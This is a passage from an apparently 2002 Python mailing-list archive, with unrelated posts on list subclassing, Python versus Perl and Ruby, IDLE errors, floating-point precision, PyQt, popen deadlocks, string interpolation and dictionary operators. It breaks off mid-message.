Mon May 13 12:27:37 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Mon, 13 May 2002 09:27:37 -0700 Subject: Has Red Hat helped or hurt? In-Reply-To: <20020512164906.C17712@tummy.com> References: <20020511151638.B24475@tummy.com> <20020512164906.C17712@tummy.com> Message-ID: <20020513092737.2a20f769.logiplexsoftware@earthlink.net> On Sun, 12 May 2002 16:49:06 -0600 Sean Reifschneider wrote: > On Sun, May 12, 2002 at 10:12:35AM +0200, Christian Tanzer wrote: > >IMHO, the distribution should not force a specific Python version to > >be the default. I.e., having /usr/bin/python point to 2.x should not > >break any number of Red Hat utilities. Forcing the user to specify a > >Python version in the #! line or on the command line sucks. > > Yeah, in a perfect world people would write code that anticipated any > problems that future releases of the language might cause... When you > figure out how to do this, go ahead an submit a patch to Red Hat... I think the better solution has been mentioned here several times: if Red Hat is going to build utilities that require a certain version of Python (which is not unreasonable) then they should have a special installation called "python-rh" or something and use that rather than require users to name their version "python2" or whatever. Hopefully they will take this approach when 8.0 comes out. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From mcfletch at rogers.com Mon May 6 14:26:07 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Mon, 06 May 2002 14:26:07 -0400 Subject: iterating over a derived list References: <918bc22f.0205060919.70e8812f@posting.google.com> Message-ID: <3CD6CABF.9070405@rogers.com> Here's a little class from basicproperty that shows using the list base-class methods for just about everything while allowing type-checking: class rlist( list ): """Sub-class of list which calls a method before any addition is allowed""" bounds = [] def __setslice__( self, start, stop, value ): """__setslice__ with value checking""" value = self.beforeMultipleAdd([ self.beforeAdd(item) for item in value ]) return list.__setslice__( self, start, stop, value ) def extend( self, value ): """extend with value checking""" value = self.beforeMultipleAdd([ self.beforeAdd(item) for item in value ]) return list.extend( self, value ) __iadd__ = extend def append( self, value ): """append with value checking""" value = self.beforeAdd( value ) return list.append( self, value ) def insert( self, index, value ): """insert with value checking""" value = self.beforeAdd( value ) return list.insert( self, index, value ) def __setitem__( self, index, value ): """__setitem__ with value checking""" value = self.beforeAdd( value ) return list.__setitem__( self, index, value ) def beforeAdd( self, value ): """Called before all attempts to add an item""" return value def beforeMultipleAdd( self, value ): """Called before attempts to add more than one item (beforeAdd has already been called for each item)""" return value Now, you get basic for x in mylist operation for free being a list sub-class, but if you really want to add Prev and Next mechanisms, you would likely do something like this: class StepIterator(object): def __init__( self, object, startIndex=-1 ): self.object = object self.index = startIndex def Prev( self ): self.index = self.index -1 if self.index < 0: raise IndexError( '''Moved beyond beginning of list''') return self.object[ self.index ] def Next( self ): self.index = self.index + 1 return self.object[ self.index ] and use it like this: cursor = StepIterator( mylist ) doSomething(cursor.Next()) doSomethingElse(cursor.Next()) yada( cursor.Prev() ) That's not any more efficient, but it means you can use different iterator objects for different purposes simultaneously (though the iterators are not individually thread-safe) and your list sub-class doesn't keep track of details not relevant to it. HTH, Mike Donnal Walter wrote: > In the code snippet below, I have derived a class from the built-in > type "list" to implement 'type checking' for objects placed in the > list and serialization of the list to and from an XML file. I also > want to be able to iterate over the retrieved list using Prev() and > Next(). My question is this: is there a more efficient way to > implement this behavior than the methods below (or some built-in way > to do this)? ... _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From jason at jvoegele.com Fri May 3 10:42:18 2002 From: jason at jvoegele.com (Jason Voegele) Date: 3 May 2002 07:42:18 -0700 Subject: Python vs. Perl, which is better to learn? References: <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> Message-ID: <91acf731.0205030642.580a9c59@posting.google.com> Chiming in from the Ruby perspective... Alex Martelli wrote in message news:... > John J. Lee wrote: > > > What differences did you have in mind, between Python and Ruby, that are > > really significant? I've always lazily assumed there are none (based on > > a few minutes scanning of a web page or two). [snip some good points about Ruby] > Ruby's closer to Perl in many small details, although, as I understand, > some are deprecated (in the original sense, i.e., "they're there but we're > sorry they are"), such as the ability to call functions without parentheses > in certain cases, or special global variables with strange (non alphameric) > names. I guess these shouldn't count as "deep". You are correct concerning the special global variables ($_ and friends). Only long-time Perl hackers are very fond of them. Even matz has said that if he re-designed the language from scratch he would probably leave them out. On the other hand, the ability to call functions without parentheses is not so clear-cut. Some believe that it leads to less readable code. Others (such as myself) view it as essential for supporting the Uniform Access Principle. Usually I'll leave the parentheses off of a method call if it takes no arguments, which allows me to switch between using a variable and using a method more easily. I also find it easier to read in such cases. I find empty parentheses() as you find in C++, Java, and Python rather ugly (a "call" statement in disguise, as it were), although at least in Python and C++ they are actually an overridable operator, whereas in Java they are just gratuitous syntax. In addition, I'll leave the parentheses off of function calls that are conceptually similar to keywords. For example, Ruby's "raise" method (which raises an exception), or an "assert" method from a testing framework, or attr_accessor and friends. Just my $.02 -- Jason Voegele "We believe that we invent symbols. The truth is that they invent us." -- Gene Wolfe, The Shadow of the Torturer From marklists at mceahern.com Fri May 24 11:33:00 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 24 May 2002 10:33:00 -0500 Subject: Create pywintypes.Time from an mx.DateTime.DateTime In-Reply-To: <3CEE5B7D.7080308@skippinet.com.au> Message-ID: [Mark Hammond] > It can also be initialized with a standard Python "time tuple", as used > by the time module. I am not sure of the semantics of the mx objects, > but I am sure they would allow you to get such a tuple very simply. True dat: import mx.DateTime t = mx.DateTime.now() t.tuple() // m - From trivas7 at rawbw.com Sat May 4 19:25:21 2002 From: trivas7 at rawbw.com (trivas7) Date: Sat, 04 May 2002 16:25:21 -0700 Subject: settin up IDLE ON MDK 8.2 Message-ID: Trying to setup IDLE on MDR 8.2 I get the following TraceBack / Import error: [trivas7 at localhost trivas7]$ idle Traceback (most recent call last): File "/usr/lib/python2.2/site-packages/idle/idle.py", line 3, in ? import PyShell File "/usr/lib/python2.2/site-packages/idle/PyShell.py", line 16, in ? from EditorWindow import EditorWindow, fixwordbreaks File "/usr/lib/python2.2/site-packages/idle/EditorWindow.py", line 10, in ? import webbrowser ImportError: No module named webbrowser Can any one help? Thank you!! From bosahvremove at netscape.net Fri May 24 18:17:17 2002 From: bosahvremove at netscape.net (Bo) Date: Fri, 24 May 2002 22:17:17 GMT Subject: Python in a 386 computer References: Message-ID: rodrigo at mosaic.com.br (rvertulo) wrote in news:b2e35aa7.0205230953.2ffa37c0 @posting.google.com: > Hi people, > > Is it possible to run python in a 386 computer? > > Thanks. Yes it is certainly possible -- one of the paired down Linux or BSD distributions would be the best option. Most of the mainstream modern linux distros are moving beyond the 386 as a target platform. One thing to consider however is _what do you want to do with it_? Python is a language worth learning but it is not an end in itself. What would you like to accomplish??? By way of an explanation you can also edit text very happily on a 386 but is there a body of text you need to edit? You could write the next great novel on a 386 but are you burning to do so??? I'm not trying to dampen your enthusiasm I'm sure there are many things that a 386 will work just fine for. (It has tested itself so far and is unlikely to fall apart -- ask Nasa which I think has still not approved Pentium 2s for space work.) In your shoes, I would be looking at a clear task for the machine. The clearer your goal the more optimization you can achieve on the machine. I'd try and stay away from the graphical environments and concentrate on shell scripting and programming\python logic. These are great skills to learn. If you are unfamiliar with linux make sure you install a program called Midnight Commander. Bo Good luck From wurmy at earthlink.net Wed May 22 17:59:57 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Wed, 22 May 2002 21:59:57 GMT Subject: y=if x>High: 2 elif x Message-ID: <3CEC15F0.DF78A4F@earthlink.net> gr wrote: > > Hi, > is there a simple possiblity to "teach" Python: > > y=if x>High: 2 elif x > instead of > > if x>High: > y=2 > elif x y=1 > else: > y=0 You mean, putting everything on one line? No. The best you can get here is if x > high: y = 2 elif x < low: y = 1 else: y = 0 It may be possible to put everything on one line using some obfuscated functional idiom, but I won't go there. :-) -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From stuart at bmsi.com Wed May 1 15:06:36 2002 From: stuart at bmsi.com (Stuart D. Gathman) Date: Wed, 01 May 2002 19:06:36 GMT Subject: HTML filtering Message-ID: <01Xz8.21629$YQ1.8012127@typhoon.southeast.rr.com> I need to filter HTML to remove certain constructs (e.g. ). I am trying to use the batteries. The htmllib module helps with the parsing, but it seems like a lot of work to create a formatter that passes everything (except script) through in HTML syntax - espicially trying to preserve original syntax. Am I missing something? Is there another module I should be using for filtering HTML? Perhaps one of those ad stripping filters written in python would provide a usable example? -- Stuart D. Gathman Business Management Systems Inc. Phone: 703 591-0911 Fax: 703 591-6154 "Confutatis maledictis, flamis acribus addictis" - background song for a Microsoft sponsored "Where do you want to go from here?" commercial. From aahz at pythoncraft.com Tue May 21 14:57:20 2002 From: aahz at pythoncraft.com (Aahz) Date: 21 May 2002 14:57:20 -0400 Subject: Threading is actually fair References: Message-ID: In article , Matt Kimball wrote: > >For those interested, part of the problem was that my background >computation thread was flooding my GUI with "update" events, telling my >main GUI thread that it had new data and wanted to repaint its views >of said data. I throttled that back so that it doesn't send an update >more frequently than every 100 ms and it helped a bit. For a better way, see the thread tutorial on mt web site. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From kevin at no.mail.com Sun May 12 10:34:47 2002 From: kevin at no.mail.com (Kevin Kohiruimaki) Date: Sun, 12 May 2002 23:34:47 +0900 Subject: print string+ in for loop References: <20020512225216.32620d8f.kevin@no.mail.com> <5UuD8.33093$CN3.1134349@news2.tin.it> Message-ID: <20020512233447.34678bed.kevin@no.mail.com> Hi Max, On Sun, 12 May 2002 14:21:53 GMT "Max" wrote: > What would you do whit that statement? Maybe printing the letters on the > same line? If so, try > print c, > that prints the letters without outputting a new line... For example maybe I want to pick out all the vowels from 'horse', then I can write: word = "horse" vowels = ['a', 'i', 'u', 'e', 'o'] for c in word: if not c in vowels: print c+ But actually, that is not the point, I know I can do it with other ways. I just feel a little weird why you can do for c in word: print c, but not for c in word: print c+ Thanks for commenting anyway :) Peace, --KK From opengeometry at NOSPAM.yahoo.ca Sat May 11 15:21:04 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 11 May 2002 19:21:04 GMT Subject: searching files References: Message-ID: zweistein wrote: > "Chris Liechti" wrote in message > news:Xns920BB71141B16cliechtigmxnet at 62.2.16.82... >> please provide more information about your data structure and what exactly >> you want to search (names, numbers etc) and you will get more useful >> feedback from this group. > > Well, I am storing every entry in a file. It stores only the name and the > telephone number, and is tab delimited (name surname [TAB] tel.). I am > trying to write a function to which a searchstring would be passed which > would look into the entire file and show the entry that matches. > I would like it to search both names and tel. numbers. This is no-brainer in Unix, ie. egrep 'surname' file awk '/surname/ {print}' file In pure Python, you have to read the file into list, and do string/re search. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From jepler at unpythonic.net Tue May 7 16:37:47 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 7 May 2002 15:37:47 -0500 Subject: pricision of string.atof? In-Reply-To: References: Message-ID: <20020507153746.D13037@unpythonic.net> On Tue, May 07, 2002 at 03:59:36PM -0400, Elvis Chen wrote: > > Greetings, > > I'm working on some numerical analysis that requires rather good precision > on calculation. [...] >>> 0.424 0.42399999999999999 If you are familiar with numerics, you'll understand that IEEE doubles will never correctly store the value 424./1000. This is discussed in the tutorial in an appendix, and the limitations of standard computer "floating point" maths should be discussed in any numerics textbook without negative value. (the one I have nearest at hand, ATKINS 1989, spends pages 11..41 (sections 1.1 through the end of that chapter) talking about the issue of numerical accuracy, starting with "1.2 Computer Representation of Numbers". From on page 14: With most real numbers x, we have fl(x) != x. Looking at the relative (or percentage) error, it can be shown that x - fl(x) --------- = -epsilon x with -beta^(-t+1) <= epsilon <= 0 chopped fl(x) -(1/2)beta^(-t+1) <= epsilon <= (1/2)beta^(-t+1) rounded fl(x) (beta is the radix of a floating-point number, typically 2 on modern systems and AFAIR reqired in IEEE; t is the size of the mantissa in bits, 53 for C "double"s, the Python floating point type) There are more details, but I'll leave you to your own text. You could use an arbitrary-precision or rational-number package, but your performance will probably be very low. Jeff From phr-n2002a at nightsong.com Wed May 15 14:52:18 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 15 May 2002 11:52:18 -0700 Subject: which db should I use? References: Message-ID: <7x661pgs65.fsf@ruckus.brouhaha.com> Robert Amesz writes: > This might be what you're looking for. From the MySQL manual: > > | As of Version 3.23.23, MySQL has support for full-text indexing > | and searching. Full-text indexes in MySQL are an index of type > | FULLTEXT. FULLTEXT indexes can be created from VARCHAR and TEXT I've tried this and don't really recommend it. Insertions are quite slow, and (like many search engines) it uses some weird inscrutable metric to decide closeness of match between a phrase and a database row. I think it's best to just do simple boolean combinations. From bh at intevation.de Wed May 1 15:02:26 2002 From: bh at intevation.de (Bernhard Herzog) Date: 01 May 2002 21:02:26 +0200 Subject: Comment on draft PEP for deprecating six builtins References: <6qvga9bizr.fsf@abnoba.intevation.de> <6qn0vlbcpk.fsf@abnoba.intevation.de> Message-ID: <6qr8kvadz1.fsf@abnoba.intevation.de> "John Roth" writes: > To me, .join() makes much more sense as a list or tuple method than > either. Semantically, .join() takes a sequence and transforms it into > a string, therefore it should be a method on the input type (the > sequence), > not on the output type (the string). IMO join takes two inputs. A sequence of strings and a delimiter (can't think of a better word for it at the moment) and produces a string as result. The delimiter is somewhat less important than the sequence because it can be omitted. OTOH, the sequence argument belongs to only a subset of sequence as it must be a sequence of strings, so join as a method of sequences would fail for a lot of sequences. Therefore IMO join is neither strongly a string method nor a sequence method. > I'm against making such things global functions for a number of > reasons, not least of which is the potential combinatorial explosion. They don't have to be globals. The function join is in the string module, for instance. > > I see numbers and characters as quite different datatypes and a > > conversion between the two is right in the middle and neither more on > > the int side than on the str side. > > True, but not very relevant. Rethinking this a bit, the conversion between numbers and ints is more on the character side because characters are represented as ints in some way internally. > The basic principle is that a type conversion method is either a > method on the source type, or it is a constructor of the result type. Well, I don't by the either/or. In some cases conversions are better done by functions, not methods or constructors. > In either case, it should have the result type's > name. > The second case is somewhat more difficult in Python, since it > does not have multiple constructors. Well, constructors can behave differently depending on the types, number and names of the parameters and often enough they do. > Now you're confusing two different things. The purpose of ord() and > chr() is to extract a character into an int so that it can then be > recreated. Yes. Thinking about it more it makes sense to think about chr and ord that way. That means they expose an implementation detail of strings, so ISTM that if they have to be methods they both belong to str (chr would have to be a class method then). > I don't see any reasonable use for an encoding operand in ord(). If ord/chr expose the implementation details of strings/characters than this is indeed not necessary and ord simply returns the number that represents the character in the string. > Also, your arguement depends on implementation considerations > (one couldn't expect that e.g. int knows about encodings.) That's not an implementation consideration. Even conceptually ints are much more fundamental than strings. You need ints to talk about strings -- strings have a length, each item is represented internally by an int -- but you don't need strings to talk about ints (well if a human talks/writes about ints some form of textual representation usually comes into play, but I think my meaning is clear). > Making type conversions global functions simply > leads to a combinatorial explosion of global functions, something > that should be avoided if at all possible. You don't have to make all of them functions. In many cases implementing them as methods or constructors is fine. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From pyth at devel.trillke.net Wed May 22 06:55:22 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 22 May 2002 12:55:22 +0200 Subject: string module In-Reply-To: ; from mwh@python.net on Wed, May 22, 2002 at 09:52:20AM +0000 References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: <20020522125522.A26513@prim.han.de> Michael Hudson wrote: > > btw, Fernando already knows that i rewrote the rlcompleter module > > to be a lot more comfortable. It works very differently from > > the old rlcompleter by tokeninzing/parsing/evaluating subexpressions. > > My current development version (requires readline :-) is here: > > > > http://home.trillke.net/~hpk/rlcompleter2.py > > > > just import it on a pure python installation (with readline available) > > and play around :-) > > Wow, that's a peice of work! thanks! it's even better if you apply the one-liner readline-patch 558432 on sourceforge :-) > > If you want to continue development i'd definitely try to integrate my > > rlcompleter2 module into pyrepl (and learn some emacs-bindings again :-). > > I would imagine that it would be *much* easier to do the kind of > things you've done in rlcompleter2 for pyrepl, owing to it being > "Python all the way down". right. that's why i like your approach and code. > Though you might need to worry about > multiple lines and stuff. yes, this is actually a *non-trivial* problem. I have some ideas how to solve this for some cases, though. Solving these issues would yield the basis for a truly interactive development style. > Hmm, so many things to worry about, so little time... true. but as long as the things i worry about are interesting i don't care too much :-) cheers, holger From tom_verbeure at hotmail.com Fri May 3 07:36:57 2002 From: tom_verbeure at hotmail.com (Tom Verbeure) Date: 3 May 2002 04:36:57 -0700 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Lots of answers already. This is what I experienced at work: I have been hacking Perl for years, was mostly happy with the outcome of my programs, but never satisfied with the way it looked. Also, I have tried to push my collegues (all electrical engineers, not software engineers) into scripting commond operations and writing larger programs for complex repetitive stuff. I was never able to get them 'that' far. The last 3 months I have been pushing Python on them, raving about the cleanliness of the code and the combination of simplicity and power and showing them actual examples. Suddenly, my 'Learning Python' and 'Python Programming' books are in high demand and everbody start writing more and more complex programs. I love it! :-) I still use Perl for very quick hacks (script of max. 5 or 6 lines), but other than that it's all Python. Learn Python first... Tom xiaotsing_79 at hotmail.com (David) wrote in message news:... > I have a lot of experience in ANSI C/C++, I want to learn a new > language and which it can help me in the work. > I just want to clear which(python or perl) is more comfort for me? From aleax at aleax.it Fri May 10 06:20:48 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 10:20:48 GMT Subject: little question References: Message-ID: <4aNC8.26326$CN3.810152@news2.tin.it> shagshag wrote: > Does anyone knows where to find (a) python module(s) to handle inverted > index and build it from text/xml file ? I'm not sure what an *inverted* index is. A dictionary indexed by word and for each word giving the set of (filename,linenumber) where the word appears appears as a tiny example in my Linux Magazine article, April issue -- a few lines to build it, a few to use it for queries "where is this word found". But that's what I'd call an index, nothing 'inverted' about it, so I don't know what you need. Alex From boud at valdyas.org Tue May 14 01:12:32 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Tue, 14 May 2002 07:12:32 +0200 Subject: PyQt question References: <3ce0954d$1_5@nopics.sjc> Message-ID: <3ce09ccd$0$194$e4fe514c@dreader3.news.xs4all.nl> Adonis wrote: > on a QTextView object, how do i send it text? i have looked around and the > information is way too overwhelming and in most cases unclear, considering > im a newbie to PyQt. this is what i have so far.. > Well, first, QTextView is obsolete, so you should probably prefer to use QTextEdit, which you make read-only with QTextEdit.setReadOnly(True). While QTextEdit is a fairly large class -- it really is a rich text editor -- setting text is still easy: use QTextEdit.setText(text). Qt is very consequent, and every widget that displays text has a setText(text) method. > > dont be deceived.. this is all Qt Designers work + pyuic: > <....> This is just placing the widget, layouting it and settting a font. -- Boudewijn Rempt | http://www.valdyas.org From zopestoller at thomas-guettler.de Tue May 14 11:10:33 2002 From: zopestoller at thomas-guettler.de (Thomas Guettler) Date: Tue, 14 May 2002 17:10:33 +0200 Subject: popen hangs on linux kernel 2.2.16 References: Message-ID: <3CE128E9.6090308@thomas-guettler.de> JP Dube wrote: > Hi, > > I wrote a small script that call the ping command using the popen function > in python. The script is working fine on kernel 2.4.16 but when I run it > under kernel 2.2.16 the command never returns and hangs there until I > manually kill it. Is there a workaround for this bug Do you use popen3? It can result in dead-locks. See: http://mail.python.org/pipermail/python-bugs-list/2002-March/010514.html thomas From gkrohn at tcq.net Thu May 2 03:59:07 2002 From: gkrohn at tcq.net (Greg Krohn) Date: Thu, 2 May 2002 02:59:07 -0500 Subject: Tkinter-helper-gui and a main class: their communication References: Message-ID: [snip] > class Turtle: > def __init__(self): > try: > gui = Turtle_gui() > print "I am trying ..." > except Buttonpush, e: > buttonwork() > def buttonwork(self): > print "main class Turtle sees the The ButtonPush exception" > # do something useful with this knowledge > > turtle = Turtle() > root.mainloop() First of all, I am no Tkinter expert so [a]some, [b]none or [c]all of this may be incorrect. The try..except block that catches the ButtonPush only exsists in __init__. The button push event happens in a loop in root.mainloop()--after the Turtle object exsists--outside of __init__. Is there a reason you are using exceptions to catch the button push event? It seems sort of convoluted to me. I wonder if you could use a callback instead to communicate between the classes. hoping for [a] or [b] greg From Gabe.Newcomb at noetix.com Wed May 15 14:14:52 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 15 May 2002 11:14:52 -0700 Subject: Python book thread Message-ID: <0C7CA8D8DF75494EB09AB6016990107FF0F87E@NOXMAIL.noetixad.com> Seeing the thread on Python books ("Re: Best book for python?") alerted me to the fact that there are now many Python books to choose from. I love this! Whenever I go to the bookstore or Amazon.com, it heartens me to see so much production for Python. Viva la Python! Gabe Newcomb From wilk at flibuste.net Mon May 27 05:59:30 2002 From: wilk at flibuste.net (William Dode) Date: Mon, 27 May 2002 11:59:30 +0200 Subject: wikipython.tuxfamily.org Message-ID: <20020527115930.68d42831.wilk@flibuste.net> Sorry if you don't understand french, this annonce, exceptionaly, concern only french reader. Un wiki francophone vient de naitre, il habite chez tuxfamily : http://wikipython.tuxfamily.org Un wiki est un syst?me de gestion de pages collaboratif, chacun est libre de contribuer en ajoutant de nouvelles pages o? en compl?tant celles existantes. La version utilis?e est ?crite en Python et bas?e sur MoinMoin. J'en profite ?galement pour rapeller ? tous les utilisateurs francophone qu'il existe un newsgroup fr.comp.lang.python, une liste de diffusion http://www.aful.org/mailman/listinfo/python, un cannal irc #python-fr sur irc.openprojects.net A bient?t donc -- William Dod? - Informaticien Ind?pendant http://www.flibuste.net From fperez528 at yahoo.com Thu May 16 12:45:31 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Thu, 16 May 2002 10:45:31 -0600 Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> <3CE3C0DC.571F2415@jpl.nasa.gov> Message-ID: Julia Bell wrote: > I recognize that the formatted strings are just as simple as the example > line I gave > using the concatenation. (I just used the simple example to demonstrate > the point). My actual application is more complex (lots of escaped > characters, combination of single and double quotes, etc. - just a messy > string to be creating - so I was hoping to at least eliminate the parts of > the definition that involved leaving the quoted portion to evaluate the > parameter). > > But, from the responses it looks like the concatenation I'm using is > probably the easiest way to go. > A couple of points: - first, welcome to the never ending argument about string interpolation (or lack thereof) in python. I'm one of those people who thinks that it's a truly useful feature to have, but I've stopped arguing for it. Look at pep215 for details: http://www.python.org/peps/pep-0215.html If you really want to use this, I recommend grabbing Ping's reference implementation of pep215, the Itpl module. For complex problems it beats the hell out of the %(name)s games. - second, string concatenation has a potential memory problem: because python strings are immutable, every '+' operation requires the creation of a new string. Just try doing the following at the interactive prompt: In [2]: s='*'*10000000 which has no problems, versus: In [3]: s='' In [4]: for i in xrange(1000000): ...: s += '*'*10 ...: and you'll see your cpu usage peg at 100% for quite a while. Still, the final result is the same. This may not matter in your case, but you must be aware of it. If it does, for complex operations the 'python' way is to use: 'var1= %(var1)s blah.... var2 is: %(var2)s ...' % {'var1':var1,'var2':var2} Or just use Itpl and have a clean: itpl('var1 = $var1 blah... var2 is $var2'). As I said, I stopped trying to push these ideas because most people seem happy playing silly %()s games with manually constructed dictionaries or passing locals() to the rhs of %. Oh well... Cheers, f. From menscher+python at uiuc.edu Thu May 23 23:33:26 2002 From: menscher+python at uiuc.edu (Damian Menscher) Date: Fri, 24 May 2002 03:33:26 GMT Subject: Print precision? Message-ID: I'm debugging my program that depends on the Numeric/LinearAlgebra packages. In order to get an idea of what is going on, I just use lots of print statements. But when you're printing a largish (32x32) matrix, the 8 decimal places given by default can take more space than they're worth. Is there a simple way to cut this down to a more reasonable value (like zero)? I guess I *could* write a function that prints each element separately.... for i in range(32): print "%.1f %.1f %.1f %.1f ..."%(m[i,0], m[i,1], m[i,2]....) But that just seems silly. On a related note, is there a way to change the default line width? Even if I expand my xterm to 200+ chars, Python wraps the matrix output at 80. Damian Menscher -- -=#| Physics Grad Student & SysAdmin @ U Illinois Urbana-Champaign |#=- -=#| 488 LLP, 1110 W. Green St, Urbana, IL 61801 Ofc:(217)333-0038 |#=- -=#| 1429 DCL, Workstation Services Group, CITES Ofc:(217)244-3862 |#=- -=#| www.uiuc.edu/~menscher/ Fax:(217)333-9819 |#=- From aleax at aleax.it Fri May 3 04:14:23 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 08:14:23 GMT Subject: dictionary References: Message-ID: Ante Bagaric wrote: > hmmm is there a reason why operators + and - don't work with dictionaries? > Couldn't + be like union and - like difference? > I guess this question was brough up dozens of times thou.. so forgive me I don't recall seeing it often asked, no. If I had to hazard a guess at the reasons, I'd say it's because there's no single, natural, obvious way of defining these operations. Dicts aren't just the set of their keys -- each key has a corresponding value. What happens when a key is in both dicts with different values -- how does that 'count'? For "addition", a dict has an .update method where the RHS' associations dominate (alas, not a .merge method where self's associations dominate). Difference looks harder. What's {1:2,3:4}-{1:5}, for example? There's another way to look at this. Can the operations you have in mind be expressed in terms of mappings' current public interface? If so, then making them into mappings' methods only makes sense if a strong performance boost can be obtained by exploiting private implementation details (as I think is the case for .update). Otherwise, you're making life harder for any implementer of mappings (there's more stuff he or she must implement) and might rather want to write the things as public functions that just call said public interface. Alex From romany at actimize.com Tue May 14 10:39:17 2002 From: romany at actimize.com (Roman Yakovenko) Date: Tue, 14 May 2002 16:39:17 +0200 Subject: #ifdef like question. Message-ID: <7647A9F4B298E74DB6793865DA67285004B347@exchange.adrembi.com> Thanks for the help. I don't like the first version( I knew that I could implement it this way). The reason is simple if for each class \ function I will have 3 files than I'd rather will not use futures. So I'd like to see the second way. Even if it will be some dirty method. I'll pay attention to comments. Thanks. Roman -----Original Message----- From: holger krekel [mailto:pyth at devel.trillke.net] Sent: Tuesday, May 14, 2002 3:25 PM To: Roman Yakovenko Cc: python-list at python.org Subject: Re: #ifdef like question. Roman Yakovenko wrote: > Yes it is. (meaning he wants to have either generators or normal list-returning functions depending on the python-version) well, you have two options: (1) put the different versions in different files (2) put both versions in one file Most people will recommend to do it the (1) way. This means you put your generator functions into e.g. 'funcs_generators.py' and the list-versions into 'funcs_oldway.py' then: try: import funcs_generators as funcs except: import funcs_oldway as funcs for item in funcs.getsome(): print item where getsome could be a generator or a full-list-constructing function. If you want to put both versions into one file it *is* possible but involves some tricks which are considered 'bad style'. So i am only going to show them if you don't want to go with the the other method :-) regards, holger P.S: i took this posting back to python-list at python.org as i think you didn't mean to sent private mail. From henk.derudder at barconet.com Wed May 15 10:10:14 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Wed, 15 May 2002 14:10:14 GMT Subject: Registering PythonCOM22.dll fails? Message-ID: <3ce26bc3.709282671@news.skynet.be> Hi, I am trying to register PythonCOM22.dll through regsvr32.exe. I get the eroormessage that DllRegisterServer is not exported. Using the dependency walker learns me that this is indeed the case, however DllRegisterServerEx *is* exported. Any idea how I can get this dll registered? Thanks in advance, Henk From jb at cascade-sys.com Thu May 2 09:43:58 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 06:43:58 -0700 Subject: Message queueing References: Message-ID: <3CD1429E.1275DAB2@cascade-sys.com> This is just a shot in the dark, but have you looked at the "Queue" module? Chapter 7.6 in the libary reference. It's NOT AT ALL a window's message queue (if that's what you meant) but it can queue arbitrary data and if you have a place to shove windows messages in a multi-threading environment you could possibly include the queue in front to buffer incoming data. Below is sample code how I used it to queue incoming speech requests to the sound card. Hope it helps. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com import sys, os import socket, thread import Queue import string from select import * # the next two are my lower-level library routines from speak import * from playsounds import * # server port offered on localhost PORT=50011 HOST="" # two queues connect three threads ReaderQ = Queue.Queue() SpeakerQ = Queue.Queue() # Server thread accepts socket connects and passes # them on to the Reader. The idea is to accept sockets # as fast as possible (FWIW). Given the small number of # messages in this case, the separation between Server and Reader # is of dubious value. def Server(): s = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) s.bind(( HOST, PORT )) speak( "Sound server is ready" ) while 1: s.listen(3) conn, addr = s.accept() ReaderQ.put(( conn, addr )) # Reader thread reads up all the data submitted by the client # and forwards it to the Speaker thread. def Reader(): while 1: conn, addr = ReaderQ.get() text = "" while 1: data = conn.recv( 1024 ) if not data: break text += data if text: SpeakerQ.put(( conn, text )) else: conn.close() # Speaker thread actually causes the speech to be emitted. # This is ultimately done by an external exe. Speaker can take several # seconds to perform each action, so the queue here is essential. # We send a return code back to the client before closing # the connection. def Speaker(): while 1: rc = -1 conn, data = SpeakerQ.get() items = data.split( "\n" ) for item in items: if not item: continue # if it looks like a filename # or has a "-f" prefix # then play WAV file # else speech to text if item[0] in ['.', '/']: rc = playsounds( item ) elif len( item ) > 2 and item[:2] == '-f': rc = playsounds( item[2:].strip()) else: rc = speak( item ) conn.send( str( rc ) + "\n" ) conn.close() # launch the threads # (Server runs as primary thread) def main(): try: thread.start_new_thread( Reader, ()) thread.start_new_thread( Speaker, ()) Server() finally: speak( "Sound Server is exiting" ) main() From bkc at Murkworks.com Wed May 1 12:02:16 2002 From: bkc at Murkworks.com (Brad Clements) Date: Wed, 1 May 2002 12:02:16 -0400 Subject: OT: Happy Birthday Larry Niven References: <3cce9f3a$1_6@goliath.newsgroups.com> <3CCEBD17.5040903@jerf.org> <3ccf161d$1_7@goliath.newsgroups.com> Message-ID: <3cd01093$1_2@goliath.newsgroups.com> Okay, okay.. I concede. Been too long since I've read the book. Perl must be a Motie langauge So .. Python must be a Ringworld language. -- Novell DeveloperNet Sysop #5 _ "Andrew Dalke" wrote in message news:aanctd$960$1 at slb6.atl.mindspring.net... > I thought Motie ships were wierdly designed. Ahh, here's a quote from > "The Mote in God's Eye", p70 in my paperback copy > > ... but some of the intact mechanisms were just as odd. There was no > standardization of parts in the probe. Two widgets intended to do > almost the same job could be subtly different or wildly different. > Braces and 